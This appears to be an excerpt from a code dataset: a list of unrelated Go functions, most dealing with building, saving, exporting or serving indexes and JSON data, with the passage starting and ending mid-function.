(int64, error) {\n\ttw := tar.NewWriter(out)\n\tdefer tw.Close()\n\n\tit := s.db.NewIterator()\n\tdefer it.Release()\n\tvar count int64\n\tfor ok := it.Seek([]byte{kpIndex}); ok; ok = it.Next() {\n\t\tkey := it.Key()\n\t\tif (key == nil) || (key[0] != kpIndex) {\n\t\t\tbreak\n\t\t}\n\n\t\tvar index dpaDBIndex\n\t\tdecodeIndex(it.Value(), &index)\n\n\t\tdata, err := s.db.Get(getDataKey(index.Idx))\n\t\tif err != nil {\n\t\t\tlog.Warn(fmt.Sprintf(\"Chunk %x found but could not be accessed: %v\", key[:], err))\n\t\t\tcontinue\n\t\t}\n\n\t\thdr := &tar.Header{\n\t\t\tName: hex.EncodeToString(key[1:]),\n\t\t\tMode: 0644,\n\t\t\tSize: int64(len(data)),\n\t\t}\n\t\tif err := tw.WriteHeader(hdr); err != nil {\n\t\t\treturn count, err\n\t\t}\n\t\tif _, err := tw.Write(data); err != nil {\n\t\t\treturn count, err\n\t\t}\n\t\tcount++\n\t}\n\n\treturn count, nil\n}", "func (s *Server) IndexHandler(w http.ResponseWriter, r *http.Request) {\n\tworkouts, err := storage.GetWorkouts(s.DataRepository)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), 500)\n\t\treturn\n\t}\n\n\tout, err := json.Marshal(workouts)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), 500)\n\t\treturn\n\t}\n\n\tfmt.Fprintf(w, string(out))\n}", "func (obj *LineFile) BuildIndex() {\n\n\tlog.Printf(\"Building indexes: %s is started...\", obj.filePath)\n\n\tfile, err := os.Open(obj.filePath)\n\tobj.checkError(err)\n\n\tobj.deleteIndexFiles()\n\n\tvar lastOffset int\n\tr := bufio.NewReader(file)\n\tdata, err := obj.readLine(r)\n\tobj.checkError(err)\n\tvar i int\n\tfor ; err != io.EOF && data != nil && len(data) > 0; i++ {\n\t\tobj.checkError(err)\n\t\tobj.indexPage = append(obj.indexPage, lastOffset)\n\t\tlastOffset += int(len(data)) + 1\n\t\tif (i+1)%obj.numLinesPerIndexPage == 0 {\n\t\t\tobj.writeToIndexPage(i / obj.numLinesPerIndexPage)\n\t\t\tobj.indexPage = obj.indexPage[:0]\n\t\t}\n\t\tdata, err = obj.readLine(r)\n\t}\n\tif len(obj.indexPage) > 0 {\n\t\tobj.writeToIndexPage((i - 1) / obj.numLinesPerIndexPage)\n\t\tobj.indexPage = obj.indexPage[:0]\n\t}\n\tobj.numLines = i\n\tobj.indexCompleted = true\n\tlog.Printf(\"Building indexes is completed: %s\", obj.filePath)\n\n\tfile.Close()\n}", "func (s *Server) getIndexes(w http.ResponseWriter, r *http.Request) {\n\tfs, err := s.db.List(\"file\")\n\tif err != nil {\n\t\ts.logf(\"error listing files from mpd for building indexes: %v\", err)\n\t\twriteXML(w, errGeneric)\n\t\treturn\n\t}\n\tfiles := indexFiles(fs)\n\n\twriteXML(w, func(c *container) {\n\t\tc.Indexes = &indexesContainer{\n\t\t\tLastModified: time.Now().Unix(),\n\t\t}\n\n\t\t// Incremented whenever it's time to create a new index for a new\n\t\t// initial letter\n\t\tidx := -1\n\n\t\tvar indexes []index\n\n\t\t// A set of initial characters, used to deduplicate the addition of\n\t\t// nwe indexes\n\t\tseenChars := make(map[rune]struct{}, 0)\n\n\t\tfor _, f := range files {\n\t\t\t// Filter any non-top level items\n\t\t\tif strings.Contains(f.Name, string(os.PathSeparator)) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// Initial rune is used to create an index name\n\t\t\tc, _ := utf8.DecodeRuneInString(f.Name)\n\t\t\tname := string(c)\n\n\t\t\t// If initial rune is a digit, put index under a numeric section\n\t\t\tif unicode.IsDigit(c) {\n\t\t\t\tc = '#'\n\t\t\t\tname = \"#\"\n\t\t\t}\n\n\t\t\t// If a new rune appears, create a new index for it\n\t\t\tif _, ok := seenChars[c]; !ok {\n\t\t\t\tseenChars[c] = struct{}{}\n\t\t\t\tindexes = append(indexes, index{Name: name})\n\t\t\t\tidx++\n\t\t\t}\n\n\t\t\tindexes[idx].Artists = append(indexes[idx].Artists, artist{\n\t\t\t\tName: f.Name,\n\t\t\t\tID: strconv.Itoa(f.ID),\n\t\t\t})\n\t\t}\n\n\t\tc.Indexes.Indexes = indexes\n\t})\n}", "func createIndex(name string, paths []interface{}, wildcards []string) {\r\n\tf, err := os.Create(name)\r\n\tcheck(err)\r\n\tdefer f.Close()\r\n\tw := bufio.NewWriter(f)\r\n\tindexContents := []string{}\r\n\tfor _, path := range paths {\r\n\t\tp := path.(string)\r\n\t\tfilepath.Walk(p, walker(&indexContents, wildcards))\r\n\t}\r\n\tfor i := range indexContents {\r\n\t\ts := fmt.Sprintln(indexContents[i])\r\n\t\tbc, err := w.WriteString(s)\r\n\t\tcheck(err)\r\n\t\tif bc < len(s) {\r\n\t\t\tpanic(fmt.Sprintf(\"Couldn't write to %s\", name))\r\n\t\t}\r\n\t}\r\n\tw.Flush()\r\n\treturn\r\n}", "func (x *Index) Bytes() []byte", "func TestEngine_WriteIndex_NoKeys(t *testing.T) {\n\te := OpenDefaultEngine()\n\tdefer e.Close()\n\tif err := e.WriteIndex(nil, nil, nil); err != nil {\n\t\tt.Fatal(err)\n\t}\n}", "func (i ImageIndexer) ExportFromIndex(request ExportFromIndexRequest) error {\n\t// set a temp directory\n\tworkingDir, err := ioutil.TempDir(\"./\", tmpDirPrefix)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer os.RemoveAll(workingDir)\n\n\t// extract the index database to the file\n\tdatabaseFile, err := i.getDatabaseFile(workingDir, request.Index, request.CaFile, request.SkipTLSVerify, request.PlainHTTP)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdb, err := sqlite.Open(databaseFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer db.Close()\n\n\tdbQuerier := sqlite.NewSQLLiteQuerierFromDb(db)\n\n\t// fetch all packages from the index image if packages is empty\n\tif len(request.Packages) == 0 {\n\t\trequest.Packages, err = dbQuerier.ListPackages(context.TODO())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tbundles, err := getBundlesToExport(dbQuerier, request.Packages)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ti.Logger.Infof(\"Preparing to pull bundles %+q\", bundles)\n\n\t// Creating downloadPath dir\n\tif err := os.MkdirAll(request.DownloadPath, 0777); err != nil {\n\t\treturn err\n\t}\n\n\tvar errs []error\n\tvar wg sync.WaitGroup\n\twg.Add(len(bundles))\n\tvar mu = &sync.Mutex{}\n\n\tsem := make(chan struct{}, concurrencyLimitForExport)\n\n\tfor bundleImage, bundleDir := range bundles {\n\t\tgo func(bundleImage string, bundleDir bundleDirPrefix) {\n\t\t\tdefer wg.Done()\n\n\t\t\tsem <- struct{}{}\n\t\t\tdefer func() {\n\t\t\t\t<-sem\n\t\t\t}()\n\n\t\t\t// generate a random folder name if bundle version is empty\n\t\t\tif bundleDir.bundleVersion == \"\" {\n\t\t\t\tbundleDir.bundleVersion = strconv.Itoa(rand.Intn(10000))\n\t\t\t}\n\t\t\texporter := bundle.NewExporterForBundle(bundleImage, filepath.Join(request.DownloadPath, bundleDir.pkgName, bundleDir.bundleVersion), request.ContainerTool)\n\t\t\tif err := exporter.Export(request.SkipTLSVerify, request.PlainHTTP); err != nil {\n\t\t\t\terr = fmt.Errorf(\"exporting bundle image:%s failed with %s\", bundleImage, err)\n\t\t\t\tmu.Lock()\n\t\t\t\terrs = append(errs, err)\n\t\t\t\tmu.Unlock()\n\t\t\t}\n\t\t}(bundleImage, bundleDir)\n\t}\n\t// Wait for all the go routines to finish export\n\twg.Wait()\n\n\tif errs != nil {\n\t\treturn utilerrors.NewAggregate(errs)\n\t}\n\n\tfor _, packageName := range request.Packages {\n\t\terr := generatePackageYaml(dbQuerier, packageName, filepath.Join(request.DownloadPath, packageName))\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\treturn utilerrors.NewAggregate(errs)\n}", "func indexEnc() {\n\tfor i := 0; i < indexSize; i++ {\n\t\tindexItemEnc(testData[i], i)\n\t}\n}", "func addToIndex(repo *git.Repository, path string) error {\n\n\tindex, err := repo.Index()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = index.AddByPath(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = index.WriteTree()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = index.Write()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn err\n}", "func (h *indexHandler) Index() gin.HandlerFunc {\n\treturn func(context *gin.Context) {\n\t\tvar requestFromJson indexRequest\n\n\t\tif err := context.ShouldBindJSON(&requestFromJson); nil != err {\n\t\t\th.errorDispatcher.Dispatch(context, err)\n\n\t\t\treturn\n\t\t}\n\n\t\tvar payload *index.Index = h.indexBuilder.Build(\n\t\t\trequestFromJson.BuilderContext,\n\t\t\trequestFromJson.Locale,\n\t\t)\n\n\t\tcontext.JSON(\n\t\t\thttp.StatusOK,\n\t\t\t&indexResponse{response.NewOkResponse(), *payload},\n\t\t)\n\t}\n}", "func CompressIndex(ctx context.Context, dbo Database) error {\n\tdb := dbo.(*database)\n\tsql := db.getRawDB()\n\n\tconn, err := sql.Conn(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\n\ttx, err := conn.BeginTx(ctx, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif tx != nil {\n\t\t\ttx.Rollback()\n\t\t}\n\t}()\n\n\t_, err = tx.ExecContext(ctx, `update docs set txt=compress(txt) where not iscompressed(txt)`)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = tx.Commit()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttx = nil\n\treturn nil\n}", "func (v SwapIndexInfo) MarshalEasyJSON(w *jwriter.Writer) {\n\teasyjson25363b2dEncodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi29(w, v)\n}", "func (self *FileBaseDataStore) SetIndex(\n\tconfig_obj *api_proto.Config,\n\tindex_urn string,\n\tentity string,\n\tkeywords []string) error {\n\n\tfor _, keyword := range keywords {\n\t\tsubject := path.Join(index_urn, strings.ToLower(keyword), entity)\n\t\terr := writeContentToFile(config_obj, subject, []byte{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (g *Gpks) Backup(index string) error {\n\tfl, err := os.OpenFile(index, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer fl.Close()\n\tfor id, off := range g.sid {\n\t\tel := &pb3.Element{\n\t\t\tWtf: true, // string index\n\t\t\tSid: id, // Nid: 0\n\t\t\tPos: off,\n\t\t}\n\t\tbt, err := proto.Marshal(el)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = fl.Write(int_to_bytes(len(bt)))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = fl.Write(bt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tfor id, off := range g.nid {\n\t\tel := &pb3.Element{\n\t\t\tWtf: false, // int64 index\n\t\t\tNid: id, // Sid: \"\"\n\t\t\tPos: off,\n\t\t}\n\t\tbt, err := proto.Marshal(el)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = fl.Write(int_to_bytes(len(bt)))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = fl.Write(bt)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func updateIndex(indexName string, objects []algoliasearch.Object) error {\n\n\tindex := algoliaClient.InitIndex(indexName)\n\terr := populateIndex(index, objects)\n\tif err != nil {\n\t\treturn errors.New(\"Error updating index -\" + err.Error())\n\t}\n\n\treturn nil\n}", "func refreshIndex(c *Client) error {\n\tidx, err := c.GitDir.ReadIndex()\n\tif err != nil {\n\t\treturn err\n\t}\n\tnidx, err := UpdateIndex(c, idx, UpdateIndexOptions{Refresh: true}, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tf, err := c.GitDir.Create(\"index\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := nidx.WriteIndex(f); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (h *Homework) save() (err error) {\n\tbuf, err := json.MarshalIndent(h, \"\", \"\\t\")\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = ioutil.WriteFile(h.path, buf, 0777)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (i indexer) Index(ctx context.Context, req IndexQuery) (\n\tresp *IndexResult, err error) {\n\n\tlog.Info(\"index [%v] root [%v] len_dirs=%v len_files=%v\",\n\t\treq.Key, req.Root, len(req.Dirs), len(req.Files))\n\tstart := time.Now()\n\t// Setup the response\n\tresp = NewIndexResult()\n\tif err = req.Normalize(); err != nil {\n\t\tlog.Info(\"index [%v] error: %v\", req.Key, err)\n\t\tresp.Error = errs.NewStructError(err)\n\t\treturn\n\t}\n\n\t// create index shards\n\tvar nshards int\n\tif nshards = i.cfg.NumShards; nshards == 0 {\n\t\tnshards = 1\n\t}\n\tnshards = utils.MinInt(nshards, maxShards)\n\ti.shards = make([]index.IndexWriter, nshards)\n\ti.root = getRoot(i.cfg, &req)\n\n\tfor n := range i.shards {\n\t\tname := path.Join(i.root, shardName(req.Key, n))\n\t\tixw, err := getIndexWriter(ctx, name)\n\t\tif err != nil {\n\t\t\tresp.Error = errs.NewStructError(err)\n\t\t\treturn resp, nil\n\t\t}\n\t\ti.shards[n] = ixw\n\t}\n\n\tfs := getFileSystem(ctx, i.root)\n\trepo := newRepoFromQuery(&req, i.root)\n\trepo.SetMeta(i.cfg.RepoMeta, req.Meta)\n\tresp.Repo = repo\n\n\t// Add query Files and scan Dirs for files to index\n\tnames, err := i.scanner(fs, &req)\n\tch := make(chan int, nshards)\n\tchnames := make(chan string, 100)\n\tgo func() {\n\t\tfor _, name := range names {\n\t\t\tchnames <- name\n\t\t}\n\t\tclose(chnames)\n\t}()\n\treqch := make(chan par.RequestFunc, nshards)\n\tfor _, shard := range i.shards {\n\t\treqch <- indexShard(&i, &req, shard, fs, chnames, ch)\n\t}\n\tclose(reqch)\n\terr = par.Requests(reqch).WithConcurrency(nshards).DoWithContext(ctx)\n\tclose(ch)\n\n\t// Await results, each indicating the number of files scanned\n\tfor num := range ch {\n\t\trepo.NumFiles += num\n\t}\n\n\trepo.NumShards = len(i.shards)\n\t// Flush our index shard files\n\tfor _, shard := range i.shards {\n\t\tshard.Flush()\n\t\trepo.SizeIndex += ByteSize(shard.IndexBytes())\n\t\trepo.SizeData += ByteSize(shard.DataBytes())\n\t\tlog.Debug(\"index flush %v (data) %v (index)\",\n\t\t\trepo.SizeData, repo.SizeIndex)\n\t}\n\trepo.ElapsedIndexing = time.Since(start)\n\trepo.TimeUpdated = time.Now().UTC()\n\n\tvar msg string\n\tif err != nil {\n\t\trepo.State = ERROR\n\t\tresp.SetError(err)\n\t\tmsg = \"error: \" + resp.Error.Error()\n\t} else {\n\t\trepo.State = OK\n\t\tmsg = \"ok \" + fmt.Sprintf(\n\t\t\t\"(%v files, %v data, %v index)\",\n\t\t\trepo.NumFiles, repo.SizeData, repo.SizeIndex)\n\t}\n\tlog.Info(\"index [%v] %v [%v]\", req.Key, msg, repo.ElapsedIndexing)\n\treturn\n}", "func (s *Store) StoreAccountsIndex(walletID uuid.UUID, data []byte) error {\n\t// Ensure wallet path exists.\n\tvar err error\n\tif err = s.ensureWalletPathExists(walletID); err != nil {\n\t\treturn errors.Wrap(err, \"wallet path does not exist\")\n\t}\n\n\t// Do not encrypt empty index.\n\tif len(data) != 2 {\n\t\tdata, err = s.encryptIfRequired(data)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"failed to encrypt index\")\n\t\t}\n\t}\n\n\tpath := s.walletIndexPath(walletID)\n\n\treturn os.WriteFile(path, data, 0o600)\n}", "func (sqliteCtx *SqliteCtx) BookIndex(w http.ResponseWriter, r *http.Request) {\n\tquery := fmt.Sprintf(\"SELECT * FROM %s\", tableName)\n\trows, err := sqliteCtx.db.Query(query)\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tdefer rows.Close()\n\tbook := new(model.Book)\n\tscannedBooks := []*model.Book{}\n\tfor rows.Next() {\n\t\terr = rows.Scan(&book.ID, &book.Title, &book.Genres,\n\t\t\t&book.Pages, &book.Price)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t\tscannedBooks = append(scannedBooks, book)\n\t}\n\tjsonScannedBooks, err := json.MarshalIndent(scannedBooks, \"\", \" \")\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\tw.Write(jsonScannedBooks)\n}", "func loadIndex(r io.Reader) (*IndexFile, error) {\n\ti := &IndexFile{}\n\tif err := json.NewDecoder(r).Decode(i); err != nil {\n\t\treturn i, err\n\t}\n\ti.SortEntries()\n\treturn i, nil\n}", "func (o *Output) WriteIndex(ctx context.Context, cluster string, timestamp time.Time, clusterSummary *api.ClusterSummary) error {\n\tbuffer, err := o.exporter.ExportIndex(ctx, clusterSummary)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfullpath := path.Join(o.path, \"index\", fmt.Sprintf(\"%s%s\", cluster, o.exporter.FileExtension()))\n\tinfo, err := os.Stat(fullpath)\n\n\tif os.IsNotExist(err) {\n\t\treturn writeBufferToPath(fullpath, buffer)\n\t} else if err != nil {\n\t\treturn err\n\t} else if info.IsDir() {\n\t\treturn fmt.Errorf(\"%q is an existing directory\", fullpath)\n\t} else {\n\t\tlog.Printf(\"%q is an existing index, overwriting...\", fullpath)\n\t\treturn writeBufferToPath(fullpath, buffer)\n\t}\n}", "func Save(path string, v interface{}, opts Options) (err error) {\n\tvar (\n\t\tzw *lz4.Writer\n\t\tencoder *jsoniter.Encoder\n\t\th hash.Hash\n\t\tmw io.Writer\n\t\tprefix [prefLen]byte\n\t\toff, l int\n\t\tfile *os.File\n\t\ttmp = path + \".tmp.\" + cmn.GenTie()\n\t)\n\tif file, err = cmn.CreateFile(tmp); err != nil {\n\t\treturn\n\t}\n\tdefer func() {\n\t\t_ = file.Close()\n\t\tif err != nil {\n\t\t\tos.Remove(tmp)\n\t\t}\n\t}()\n\tif opts.Signature {\n\t\toff = prefLen\n\t}\n\tif opts.Checksum {\n\t\th = xxhash.New64()\n\t\toff += h.Size()\n\t}\n\tif off > 0 {\n\t\tif _, err = file.Seek(int64(off), io.SeekStart); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\tif opts.Compression {\n\t\tif opts.Checksum {\n\t\t\tmw = io.MultiWriter(h, file)\n\t\t\tzw = lz4.NewWriter(mw)\n\t\t} else {\n\t\t\tzw = lz4.NewWriter(file)\n\t\t}\n\t\tencoder = jsoniter.NewEncoder(zw)\n\t} else {\n\t\tif opts.Checksum {\n\t\t\tmw = io.MultiWriter(h, file)\n\t\t\tencoder = jsoniter.NewEncoder(mw)\n\t\t} else {\n\t\t\tencoder = jsoniter.NewEncoder(file)\n\t\t}\n\t}\n\tencoder.SetIndent(\"\", \" \")\n\tif err = encoder.Encode(v); err != nil {\n\t\treturn\n\t}\n\tif opts.Compression {\n\t\t_ = zw.Close()\n\t}\n\tif opts.Signature {\n\t\tif _, err = file.Seek(0, io.SeekStart); err != nil {\n\t\t\treturn\n\t\t}\n\t\t// 1st 64-bit word\n\t\tcopy(prefix[:], signature)\n\t\tl = len(signature)\n\t\tcmn.Assert(l < prefLen/2)\n\t\tprefix[l] = version\n\n\t\t// 2nd 64-bit word as of version == 1\n\t\tvar packingInfo uint64\n\t\tif opts.Compression {\n\t\t\tpackingInfo |= 1 << 0\n\t\t}\n\t\tif opts.Checksum {\n\t\t\tpackingInfo |= 1 << 1\n\t\t}\n\t\tbinary.BigEndian.PutUint64(prefix[cmn.SizeofI64:], packingInfo)\n\n\t\t// write prefix\n\t\tfile.Write(prefix[:])\n\t}\n\tif opts.Checksum {\n\t\tif !opts.Signature {\n\t\t\tif _, err = file.Seek(0, io.SeekStart); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tfile.Write(h.Sum(nil))\n\t}\n\tif err = file.Close(); err != nil {\n\t\treturn\n\t}\n\terr = os.Rename(tmp, path)\n\treturn\n}", "func (r *historyRow) save(dir string) error {\n\trBytes, err := json.Marshal(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\thistoryFile := getLatestHistoryFile(dir)\n\n\tf, err := os.OpenFile(historyFile.path, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\t_, err = f.Write(append(rBytes, []byte(\"\\n\")...))\n\treturn err\n}", "func saveToES(p *Post, id string) {\n\t// Create a client\n\tes_client, err := elastic.NewClient(elastic.SetURL(ES_URL), elastic.SetSniff(false))\n\tif err != nil {\n\t\tpanic(err)\n\t\treturn\n\t}\n\n\t// Save it to index\n\t_, err = es_client.Index().\n\t\tIndex(INDEX).\n\t\tType(TYPE).\n\t\tId(id).\n\t\tBodyJson(p).\n\t\tRefresh(true).\n\t\tDo()\n\tif err != nil {\n\t\tpanic(err)\n\t\treturn\n\t}\n\n\tfmt.Printf(\"Post is saved to Index: %s\\n\", p.Message)\n}", "func (e *Encoder) Encode(index string, event *beat.Event) ([]byte, error) {\n\te.buf.Reset()\n\terr := e.folder.Fold(makeEvent(index, e.version, event))\n\tif err != nil {\n\t\te.reset()\n\t\treturn nil, err\n\t}\n\n\tjson := e.buf.Bytes()\n\tif !e.config.Pretty {\n\t\treturn json, nil\n\t}\n\n\tvar buf bytes.Buffer\n\tif err = stdjson.Indent(&buf, json, \"\", \" \"); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}", "func (s *LDBStore) Export(out io.Writer) (int64, error) {\n\ttw := tar.NewWriter(out)\n\tdefer tw.Close()\n\n\tit := s.db.NewIterator()\n\tdefer it.Release()\n\tvar count int64\n\tfor ok := it.Seek([]byte{keyIndex}); ok; ok = it.Next() {\n\t\tkey := it.Key()\n\t\tif (key == nil) || (key[0] != keyIndex) {\n\t\t\tbreak\n\t\t}\n\n\t\tvar index dpaDBIndex\n\n\t\thash := key[1:]\n\t\tdecodeIndex(it.Value(), &index)\n\t\tpo := s.po(hash)\n\t\tdatakey := getDataKey(index.Idx, po)\n\t\tlog.Trace(\"store.export\", \"dkey\", fmt.Sprintf(\"%x\", datakey), \"dataidx\", index.Idx, \"po\", po)\n\t\tdata, err := s.db.Get(datakey)\n\t\tif err != nil {\n\t\t\tlog.Warn(fmt.Sprintf(\"Chunk %x found but could not be accessed: %v\", key, err))\n\t\t\tcontinue\n\t\t}\n\n\t\thdr := &tar.Header{\n\t\t\tName: hex.EncodeToString(hash),\n\t\t\tMode: 0644,\n\t\t\tSize: int64(len(data)),\n\t\t}\n\t\tif err := tw.WriteHeader(hdr); err != nil {\n\t\t\treturn count, err\n\t\t}\n\t\tif _, err := tw.Write(data); err != nil {\n\t\t\treturn count, err\n\t\t}\n\t\tcount++\n\t}\n\n\treturn count, nil\n}", "func saveData(w http.ResponseWriter, req *http.Request) {\n\tm := inverseRowMajor(array)\n\tm.printMatrix()\n\tenableCors(&w)\n\tjson.NewEncoder(w).Encode(m)\n}", "func (c *Client) Index(d Document, extraArgs url.Values) (*Response, error) {\n\tr := Request{\n\t\tQuery: d.Fields,\n\t\tIndexList: []string{d.Index.(string)},\n\t\tTypeList: []string{d.Type},\n\t\tExtraArgs: extraArgs,\n\t\tMethod: \"POST\",\n\t}\n\n\tif d.ID != nil {\n\t\tr.Method = \"PUT\"\n\t\tr.ID = d.ID.(string)\n\t}\n\n\treturn c.Do(&r)\n}", "func (self *botStats) save(t db.Table, index int) error {\n\tkey := fmt.Sprintf(\"%s-%2d\",botStatsRecordKey,index)\n\treturn t.Put(key,self)\n}", "func Parse(path string) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\twriteFile, err := os.Create(\"./bulk.json\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer writeFile.Close()\n\n\twriter := bufio.NewWriter(writeFile)\n\n\tscanner := bufio.NewScanner(file)\n\n\tcount := 1\n\tfileNum := 1\n\tfor scanner.Scan() {\n\t\tcontents := new(Kakao)\n\t\terr := contents.parse(scanner.Text())\n\t\tif err == nil {\n\t\t\twriter.WriteString(\"{\\\"index\\\":{\\\"_type\\\":\\\"log\\\", \\\"_id\\\":\" + strconv.Itoa(count) + \"}}\\n\")\n\n\t\t\tjsonBytes, err := json.Marshal(contents)\n\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tjsonString := string(jsonBytes)\n\t\t\tlog.Println(jsonString)\n\t\t\twriter.WriteString(jsonString + \"\\n\")\n\t\t\twriter.Flush()\n\t\t\tcount++\n\t\t\tif count >= 2000*fileNum {\n\t\t\t\twriter.Flush()\n\t\t\t\twriteFile.Close()\n\t\t\t\twriteFile, _ = os.Create(\"./bulk\" + strconv.Itoa(fileNum) + \".json\")\n\t\t\t\twriter = bufio.NewWriter(writeFile)\n\t\t\t\tfileNum++\n\t\t\t}\n\t\t}\n\t}\n\tif err := scanner.Err(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func bookIndex(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tmtx.Lock()\n\tdefer mtx.Unlock()\n\tbooks := make([]*model.Book, len(bookstore))\n\ti := 0\n\tfor _, v := range bookstore {\n\t\tbooks[i] = v\n\t\ti++\n\t}\n\tres := &common.ResBody{\n\t\tErr: common.OK,\n\t\tData: books,\n\t}\n\tcommon.WriteJson(w, res, http.StatusOK)\n}", "func (ix *Index) json() (*bytes.Reader, error) {\n\tjsonBytes, err := ix.bytes()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn bytes.NewReader(*jsonBytes), err\n}", "func EncodeLifeline(index Lifeline) []byte {\n\tres, err := index.Marshal()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn res\n}", "func create_index_files(ps []Post, indexname string) {\n\tvar prev, next int\n\tindex_page_flag := false\n\tindex := 1\n\tnum := 0\n\tlength := len(ps)\n\tsort.Sort(ByODate(ps))\n\tsort_index := make([]Post, 0)\n\tfor i := range ps {\n\t\tif ps[i].Changed {\n\t\t\tindex_page_flag = true\n\t\t}\n\t\tsort_index = append(sort_index, ps[i])\n\t\tnum = num + 1\n\t\tif num == POSTN {\n\t\t\tif !check_index(indexname, index) {\n\t\t\t\tindex_page_flag = true\n\t\t\t}\n\n\t\t\t/* Only changed indexes should get rebuild*/\n\t\t\tif index_page_flag == true {\n\t\t\t\tindex_page_flag = false\n\t\t\t\tsort.Sort(ByDate(sort_index))\n\t\t\t\tif index == 1 {\n\t\t\t\t\tprev = 0\n\t\t\t\t} else {\n\t\t\t\t\tprev = index - 1\n\t\t\t\t}\n\t\t\t\tif (index*POSTN) < length && (length-index*POSTN) > POSTN {\n\t\t\t\t\tnext = index + 1\n\t\t\t\t} else if (index * POSTN) == length {\n\t\t\t\t\tnext = -1\n\t\t\t\t} else {\n\t\t\t\t\tnext = 0\n\t\t\t\t}\n\n\t\t\t\tbuild_index(sort_index, index, prev, next, indexname)\n\t\t\t}\n\n\t\t\tsort_index = make([]Post, 0)\n\t\t\tindex = index + 1\n\t\t\tnum = 0\n\n\t\t}\n\t}\n\tif len(sort_index) > 0 {\n\t\tsort.Sort(ByDate(sort_index))\n\t\tbuild_index(sort_index, 0, index-1, -1, indexname)\n\n\t}\n}", "func (s IndexSettings) MarshalJSON() ([]byte, error) {\n\ttype opt IndexSettings\n\t// We transform the struct to a map without the embedded additional properties map\n\ttmp := make(map[string]interface{}, 0)\n\n\tdata, err := json.Marshal(opt(s))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = json.Unmarshal(data, &tmp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// We inline the additional fields from the underlying map\n\tfor key, value := range s.IndexSettings {\n\t\ttmp[fmt.Sprintf(\"%s\", key)] = value\n\t}\n\n\tdata, err = json.Marshal(tmp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}", "func (s IndexSettings) MarshalJSON() ([]byte, error) {\n\ttype opt IndexSettings\n\t// We transform the struct to a map without the embedded additional properties map\n\ttmp := make(map[string]interface{}, 0)\n\n\tdata, err := json.Marshal(opt(s))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = json.Unmarshal(data, &tmp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// We inline the additional fields from the underlying map\n\tfor key, value := range s.IndexSettings {\n\t\ttmp[string(key)] = value\n\t}\n\n\tdata, err = json.Marshal(tmp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn data, nil\n}", "func indexHandler(s *search.SearchServer, w http.ResponseWriter, r *http.Request) {\n\tparams := r.URL.Query()\n\tcollection := params.Get(\"collection\")\n\n\tif collection == \"\" {\n\t\trespondWithError(w, r, \"Collection query parameter is required\")\n\t\treturn\n\t}\n\n\tif !s.Exists(collection) {\n\t\trespondWithError(w, r, \"Collection does not exist\")\n\t\treturn\n\t}\n\n\tbytes, err := 